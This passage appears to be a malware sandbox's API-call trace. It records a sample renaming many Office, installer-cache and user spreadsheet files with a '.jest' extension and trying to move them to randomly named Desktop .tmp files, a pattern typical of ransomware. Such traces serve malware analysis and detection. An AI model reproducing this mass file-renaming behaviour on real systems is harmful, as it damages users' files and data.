content\\1033\\bldgplan.dwg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MAore EPLq5Ur3H3jImW53r1h7rjeeLpNqg4yJbTs5XLedIGidbhw02PTsl7Bo2X5le0id1mHW6CMJHWuMfzZBvq6LnpxFLL qSI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\maore eplq5ur3h3jimw53r1h7rjeelpnqg4yjbts5xledigidbhw02ptsl7bo2x5le0id1mhw6cmjhwumfzzbvq6lnpxfll qsi.tmp")) returned 0 [0161.682] GetLastError () returned 0x2 [0161.682] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.jpg.jest")) returned 1 [0161.683] GetLastError () returned 0x0 [0161.684] VarBstrFromR4 (in: fltIn=0x479455ad, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.35") returned 0x0 [0161.685] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5X9yWugtb5L7GiMQ0bm7Tx CselUdtZChk6a87HPiU0P1IQcf04nVNk7_q6huCJRQLKCxOBfgft7FWex5nU q6EZmEuOv3GZjLMc.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5x9ywugtb5l7gimq0bm7tx cseludtzchk6a87hpiu0p1iqcf04nvnk7_q6hucjrqlkcxobfgft7fwex5nu q6ezmeuov3gzjlmc.tmp")) returned 0 [0161.685] GetLastError () returned 0x2 [0161.694] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKS.DWG" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blocks.dwg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKS.DWG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blocks.dwg.jest")) returned 1 [0161.818] GetLastError () returned 0x0 [0161.819] VarBstrFromR4 (in: fltIn=0x479455bf, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.49") returned 0x0 [0161.831] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKS.DWG" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blocks.dwg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_XwmPhk40HF708dgMkeF2yCYlI_qlyRl6ykm6FJSp5761S_cLP9h5qFqZw8O5Ef975KdAncfg7GPf4uoXe-pVwI9miEcUpNh2S9k.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_xwmphk40hf708dgmkef2ycyli_qlyrl6ykm6fjsp5761s_clp9h5qfqzw8o5ef975kdancfg7gpf4uoxe-pvwi9miecupnh2s9k.tmp")) returned 0 [0161.832] GetLastError () returned 0x2 [0161.839] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1yK.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1yk.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1yK.xlsx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1yk.xlsx.jest")) returned 1 [0161.841] GetLastError () returned 0x0 [0161.847] VarBstrFromR4 (in: fltIn=0x479455c1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.51") returned 0x0 [0161.858] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1yK.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1yk.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ElPh9G0GS5fmMBg6ZbViLH_3RPrmp9jnzBRsxlSTGDBQ9HYcnphQjpupjWILx05um764dd-61ygc-HHiO-SRJKMsCFCrCySfQa d.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\elph9g0gs5fmmbg6zbvilh_3rprmp9jnzbrsxlstgdbq9hycnphqjpupjwilx05um764dd-61ygc-hhio-srjkmscfcrcysfqa d.tmp")) returned 0 [0161.860] GetLastError () returned 0x2 [0161.913] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Eupn.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eupn.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Eupn.xlsx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eupn.xlsx.jest")) returned 1 [0161.919] GetLastError () returned 0x0 [0161.923] VarBstrFromR4 (in: fltIn=0x479455cb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.59") returned 0x0 [0161.924] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Eupn.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eupn.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\o8Rx9dHuLIZH8r8LXLWnqoWYN_2P7ilaog6MR_8p DfutVGqkl4P sUWKZyW_G2b3aPV2znRa-rdcD2L6oaEkt2NRTtMKOH2Xw3Ps.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o8rx9dhulizh8r8lxlwnqowyn_2p7ilaog6mr_8p dfutvgqkl4p suwkzyw_g2b3apv2znra-rdcd2l6oaekt2nrttmkoh2xw3ps.tmp")) returned 0 [0161.926] GetLastError () returned 0x2 [0161.970] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vVhOLnFOJ5XG.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vvholnfoj5xg.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vVhOLnFOJ5XG.xlsx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vvholnfoj5xg.xlsx.jest")) returned 1 [0161.990] GetLastError () returned 0x0 [0161.990] VarBstrFromR4 (in: fltIn=0x479455d5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.66") returned 0x0 [0161.992] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vVhOLnFOJ5XG.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vvholnfoj5xg.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hft57ClLcCtdx3q2yWYw5LuSekEc3MmJoyxQFCjtY3L lHiIfM9DBlJpWwwyHFcRy 9YFHlUDx0mD3IY4Gis8UizzVkJsZI0 KFR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hft57cllcctdx3q2ywyw5lusekec3mmjoyxqfcjty3l lhiifm9dbljpwwwyhfcry 9yfhludx0md3iy4gis8uizzvkjszi0 kfr.tmp")) returned 0 [0161.992] GetLastError () returned 0x2 [0162.041] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BRAINSTM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\brainstm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BRAINSTM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\brainstm.xml.jest")) returned 1 [0162.044] GetLastError () returned 0x0 [0162.045] VarBstrFromR4 (in: fltIn=0x479455db, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.71") returned 0x0 [0162.046] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BRAINSTM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\brainstm.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qBSZgSVexFos 21cOQQP2YF3Mp3 3EVUgl5yfqmhIGnV0fsqpeaT513Fpg6cbtZi3zFKMjYq_fv4CPdPs- 4t9WBA2Ftcwqt_rM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qbszgsvexfos 21coqqp2yf3mp3 3evugl5yfqmhignv0fsqpeat513fpg6cbtzi3zfkmjyq_fv4cpdps- 4t9wba2ftcwqt_rm.tmp")) returned 0 [0162.046] GetLastError () returned 0x2 [0162.067] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.jest")) returned 1 [0162.079] GetLastError () returned 0x0 [0162.080] VarBstrFromR4 (in: fltIn=0x479455e1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.76") returned 0x0 [0162.083] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wQ9mQK0G3IRpeIePeHBpspQGOzkEr dOf3wZo57TXrx39S_h--ZwU9H5sF5fp7jRQCWCv9nC vnJ2IW QZUlCqr2Pj_w0KMq6oVTV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wq9mqk0g3irpeiepehbpspqgozker dof3wzo57txrx39s_h--zwu9h5sf5fp7jrqcwcv9nc vnj2iw qzulcqr2pj_w0kmq6ovtv.tmp")) returned 0 [0162.083] GetLastError () returned 0x2 [0162.084] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.jest")) returned 1 [0162.085] GetLastError () returned 0x0 [0162.086] VarBstrFromR4 (in: fltIn=0x479455e1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.76") returned 0x0 [0162.087] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JATgg2IyWMNsCBQsvOp8IFccq4g7IKf4qTyPTFxtzpbaZdYzrH9oEGL8qP_T7lCBie_9LRJalT8n_w3QkKmvNchAN7gv58-Qti.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jatgg2iywmnscbqsvop8ifccq4g7ikf4qtyptfxtzpbazdyzrh9oegl8qp_t7lcbie_9lrjalt8n_w3qkkmvnchan7gv58-qti.tmp")) returned 0 [0162.087] GetLastError () returned 0x2 [0162.088] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.jest")) returned 1 [0162.089] GetLastError () returned 0x0 [0162.090] VarBstrFromR4 (in: fltIn=0x479455e1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.76") returned 0x0 [0162.091] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LuXj9F5aSl68mC1I TgxXHTYuERftGQu5Jnu_6IdPigS0n5fQ71hrluCKg11XU 5U0wo323i-YyPU9r2wX_yXdMT7TPTJuv21x8Z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\luxj9f5asl68mc1i tgxxhtyuerftgqu5jnu_6idpigs0n5fq71hrluckg11xu 5u0wo323i-yypu9r2wx_yxdmt7tptjuv21x8z.tmp")) returned 0 [0162.091] GetLastError () returned 0x2 [0162.092] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0162.093] GetLastError () returned 0x0 [0162.094] VarBstrFromR4 (in: fltIn=0x479455e3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.77") returned 0x0 [0162.095] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ArZMlkwbnQkwtmDKC2zlgg8ZQW733g3-Yx7bUZkDLrLiz3GkyI0JPjelKJv-i-yIyvzGDDhCef7GoQ4Bewmmu2cihqAPYT qOyT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\arzmlkwbnqkwtmdkc2zlgg8zqw733g3-yx7buzkdlrliz3gkyi0jpjelkjv-i-yiyvzgddhcef7goq4bewmmu2cihqapyt qoyt.tmp")) returned 0 [0162.095] GetLastError () returned 0x2 [0162.096] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.jest")) returned 1 [0162.100] GetLastError () returned 0x0 [0162.100] VarBstrFromR4 (in: fltIn=0x479455e3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.77") returned 0x0 [0162.101] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TujpPsGwIYOF5 SrSUtrW2S0i1vSyDF_Fn_4YYLvsVhmudSX_nFvWkf5nElqRtUOHpvbFACDXgYsuc0iXJ5YVhlTH30JWKm3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tujppsgwiyof5 srsutrw2s0i1vsydf_fn_4yylvsvhmudsx_nfvwkf5nelqrtuohpvbfacdxgysuc0ixj5yvhlth30jwkm3.tmp")) returned 0 [0162.101] GetLastError () returned 0x2 [0162.108] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.jest")) returned 1 [0162.109] GetLastError () returned 0x0 [0162.110] VarBstrFromR4 (in: fltIn=0x479455e5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.79") returned 0x0 [0162.111] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_GB83Z6N7sZ-tdVUY5 -zF075eKPW2B _OOUD9tLcevbkNvKfKKBn8lWRohdZ26xJiAQXFDFmyFSzfPks8thKiO1O829sNEpQmLtW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_gb83z6n7sz-tdvuy5 -zf075ekpw2b _ooud9tlcevbknvkfkkbn8lwrohdz26xjiaqxfdfmyfszfpks8thkio1o829snepqmltw.tmp")) returned 0 [0162.111] GetLastError () returned 0x2 [0162.112] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0162.113] GetLastError () returned 0x0 [0162.113] VarBstrFromR4 (in: fltIn=0x479455e5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.79") returned 0x0 [0162.114] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ubf91qH37Tc7-l6M 63M3ycxygsFILY8lYvMYrV8DVbG6iFFVbzXa1beSif-AK49DeuLJsjWUnDBgKQ Wxobwmk-PuKhQOFfgiiFi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ubf91qh37tc7-l6m 63m3ycxygsfily8lyvmyrv8dvbg6iffvbzxa1besif-ak49deuljsjwundbgkq wxobwmk-pukhqoffgiifi.tmp")) returned 0 [0162.114] GetLastError () returned 0x2 [0162.115] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.jest")) returned 1 [0162.138] GetLastError () returned 0x0 [0162.139] VarBstrFromR4 (in: fltIn=0x479455e7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.8") returned 0x0 [0162.140] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QGkOvuDty64ammh2iOZZqFh2FPEBqdox52GGYASR7SycS8 VM6DiAxe-Kl_gv1u-JMQdKNKoWP6xEx8wDD7Yg2EjTGsiTRfHLSp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qgkovudty64ammh2iozzqfh2fpebqdox52ggyasr7sycs8 vm6diaxe-kl_gv1u-jmqdknkowp6xex8wdd7yg2ejtgsitrfhlsp.tmp")) returned 0 [0162.147] GetLastError () returned 0x2 [0162.148] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.jest")) returned 1 [0162.172] GetLastError () returned 0x0 [0162.173] VarBstrFromR4 (in: fltIn=0x479455ed, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.85") returned 0x0 [0162.174] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uuC9yiLbTbKuQ03RvZrfV9xdVJ5QsZv4K jPoF r7wEontQN-3X-nfTAU6sNliF6H-ZNR5FID8zJHadoB2qhXycUkYje7HBEohrye.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uuc9yilbtbkuq03rvzrfv9xdvj5qszv4k jpof r7weontqn-3x-nftau6snlif6h-znr5fid8zjhadob2qhxycukyje7hbeohrye.tmp")) returned 0 [0162.175] GetLastError () returned 0x2 [0162.175] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.jest")) returned 1 [0162.176] GetLastError () returned 0x0 [0162.177] VarBstrFromR4 (in: fltIn=0x479455ed, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.85") returned 0x0 [0162.178] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BpBXQNSDcZPLHYK txml d7l9OqdibVIw7J9U3pVKrpRNtEfytUjdgyYwCv2duGk3W1aF_qS CTWQzgUC1TNnykzMF4NkLIeTIF-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bpbxqnsdczplhyk txml d7l9oqdibviw7j9u3pvkrprntefytujdgyywcv2dugk3w1af_qs ctwqzguc1tnnykzmf4nklietif-.tmp")) returned 0 [0162.178] GetLastError () returned 0x2 [0162.180] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0162.181] GetLastError () returned 0x0 [0162.181] VarBstrFromR4 (in: fltIn=0x479455ed, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.85") returned 0x0 [0162.182] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hJxJNj9W0dB9yKNZ549TPdVRfCPypzT-BS2CDUMd1Qm5IKovcJ0y5b0G4 pe2Pbvb3ecReZJ2HHNWDQVnHqU7Rox2OWMZTwSnt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hjxjnj9w0db9yknz549tpdvrfcpypzt-bs2cdumd1qm5ikovcj0y5b0g4 pe2pbvb3ecrezj2hhnwdqvnhqu7rox2owmztwsnt.tmp")) returned 0 [0162.182] GetLastError () returned 0x2 [0162.183] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.jest")) returned 1 [0162.193] GetLastError () returned 0x0 [0162.194] VarBstrFromR4 (in: fltIn=0x479455ef, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.87") returned 0x0 [0162.195] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ea-fkSJxK87Ows UIcAxctNqC 48rlrnLhpjFrVQmTzkuGx-NTxVSiXJbUFjPN8OWDwM4Ru9_rGT92p4k8y67-GExhyXRhJmyIyPB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ea-fksjxk87ows uicaxctnqc 48rlrnlhpjfrvqmtzkugx-ntxvsixjbufjpn8owdwm4ru9_rgt92p4k8y67-gexhyxrhjmyiypb.tmp")) returned 0 [0162.196] GetLastError () returned 0x2 [0162.196] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0162.197] GetLastError () returned 0x0 [0162.198] VarBstrFromR4 (in: fltIn=0x479455ef, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.87") returned 0x0 [0162.199] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RzD5LqGevKU4lfZf16fFJre8SvJ1UGcGd9DOYUx7 PxkRI4DRt5kx1vqZH-i_nahUkENz_wRVfe7JyG8ShP6pugLTju_bV6_mvCS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rzd5lqgevku4lfzf16ffjre8svj1ugcgd9doyux7 